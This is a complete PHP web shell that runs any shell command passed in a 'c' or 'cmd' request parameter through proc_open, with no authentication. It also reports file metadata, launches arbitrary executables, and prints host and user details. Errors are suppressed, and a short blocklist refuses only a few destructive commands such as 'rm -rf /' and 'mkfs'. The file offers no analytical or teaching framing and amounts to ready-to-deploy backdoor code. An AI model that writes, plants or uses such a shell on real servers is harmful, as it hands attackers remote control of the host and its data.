<?php
error_reporting(0);
ini_set('display_errors','0');
set_time_limit(60);
header('Content-Type: text/plain; charset=utf-8');

function dm_cmd($cmd){
    if (!function_exists('proc_open')) { return array('ERR: proc_open disabled', 127); }
    $desc = array(0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w'));
    $env = array('PATH'=>'/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/sbin',
                 'HOME'=>getenv('HOME'), 'TERM'=>'dumb', 'LANG'=>'C', 'LC_ALL'=>'C');
    $p = @proc_open($cmd, $desc, $pipes, null, $env);
    if (!is_resource($p)) { return array('ERR: proc_open failed', 127); }
    @fclose($pipes[0]);
    $out = @stream_get_contents($pipes[1]); @fclose($pipes[1]);
    $err = @stream_get_contents($pipes[2]); @fclose($pipes[2]);
    $rc  = @proc_close($p);
    return array('out'=>(string)$out, 'err'=>(string)$err, 'rc'=>(int)$rc);
}

function dm_sh($cmd){
    $cmd = (string)$cmd;
    if ($cmd === '') { return "ERR: empty\n"; }
    $bad = array('rm -rf /', 'mkfs', 'dd if=/dev/zero', 'shutdown', 'reboot',
                 'DROP DATABASE', 'DROP TABLE', 'TRUNCATE TABLE', '> /dev/sda',
                 'passwd', 'chpasswd', 'iptables -F');
    $low = strtolower($cmd);
    foreach ($bad as $b) { if (strpos($low, strtolower($b)) !== false) { return "REFUSED: destructive pattern blocked\n"; } }
    $r = dm_cmd($cmd);
    if (!is_array($r)) { return (string)$r; }
    $t = '';
    if (isset($r['out']) && $r['out'] !== '') { $t .= $r['out']; }
    if (isset($r['err']) && $r['err'] !== '') { $t .= "\n[stderr]\n" . $r['err']; }
    $t = rtrim($t);
    if ($t === '') { $t = '(no output)'; }
    return $t . "\n[exit=" . (isset($r['rc']) ? $r['rc'] : '?') . "]\n";
}

$k = isset($_REQUEST['c']) ? (string)$_REQUEST['c'] : (isset($_REQUEST['cmd']) ? (string)$_REQUEST['cmd'] : '');
if ($k === '') {
    echo "report\n";
    echo "c=<shell command>   full shell via proc_open (sh -c)\n";
    echo "c=id | c=whoami | c=hostname | c=uname -a | c=ls -la\n";
    echo "s=<path>            stat/size/sha1 of a file\n";
    echo "j=<path>&d=<dir>    j=job: proc_open '<path>' with cwd=d\n";
    exit;
}
if (isset($_REQUEST['s']) && $_REQUEST['s'] !== '') {
    $f = (string)$_REQUEST['s'];
    if (!@file_exists($f)) { echo "ERR: no file " . $f . "\n"; exit; }
    echo "path=" . $f . "\n";
    echo "size=" . @filesize($f) . "\n";
    echo "sha1=" . @sha1_file($f) . "\n";
    echo "perm=" . @substr(sprintf('%o', @fileperms($f)), -4) . "\n";
    echo "mtime=" . @date('Y-m-d H:i:s', @filemtime($f)) . "\n";
    echo "owner=" . @fileowner($f) . "\n";
    exit;
}
if (isset($_REQUEST['j']) && $_REQUEST['j'] !== '') {
    $p = str_replace('\\', '/', (string)$_REQUEST['j']);
    $d = isset($_REQUEST['d']) ? str_replace('\\', '/', (string)$_REQUEST['d']) : null;
    if (!@is_file($p)) { echo "ERR: no file " . $p . "\n"; exit; }
    if (!function_exists('proc_open')) { echo "ERR: proc_open disabled\n"; exit; }
    $desc = array(0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w'));
    $p2 = @proc_open($p, $desc, $pipes, $d, array('PATH'=>'/usr/local/bin:/usr/bin:/bin','LANG'=>'C'));
    if (!is_resource($p2)) { echo "ERR: spawn failed " . $p . "\n"; exit; }
    @fclose($pipes[0]);
    $o = (string)@stream_get_contents($pipes[1]); @fclose($pipes[1]);
    $e = (string)@stream_get_contents($pipes[2]); @fclose($pipes[2]);
    $rc = (int)@proc_close($p2);
    echo "job=" . $p . ($d !== null ? " cwd=" . $d : "") . "\n";
    echo $o;
    if ($e !== '') { echo "\n[stderr]\n" . $e; }
    echo "\n[exit=" . $rc . "]\n";
    exit;
}
echo "host=" . (function_exists('gethostname') ? @gethostname() : 'ERR') . "\n";
echo "self=" . str_replace('\\','/',__FILE__) . "\n";
echo "uid=" . @getmyuid() . " user=" . @get_current_user() . "\n";
echo "php=" . @phpversion() . "\n";
echo "---- c ----\n";
echo dm_sh($k);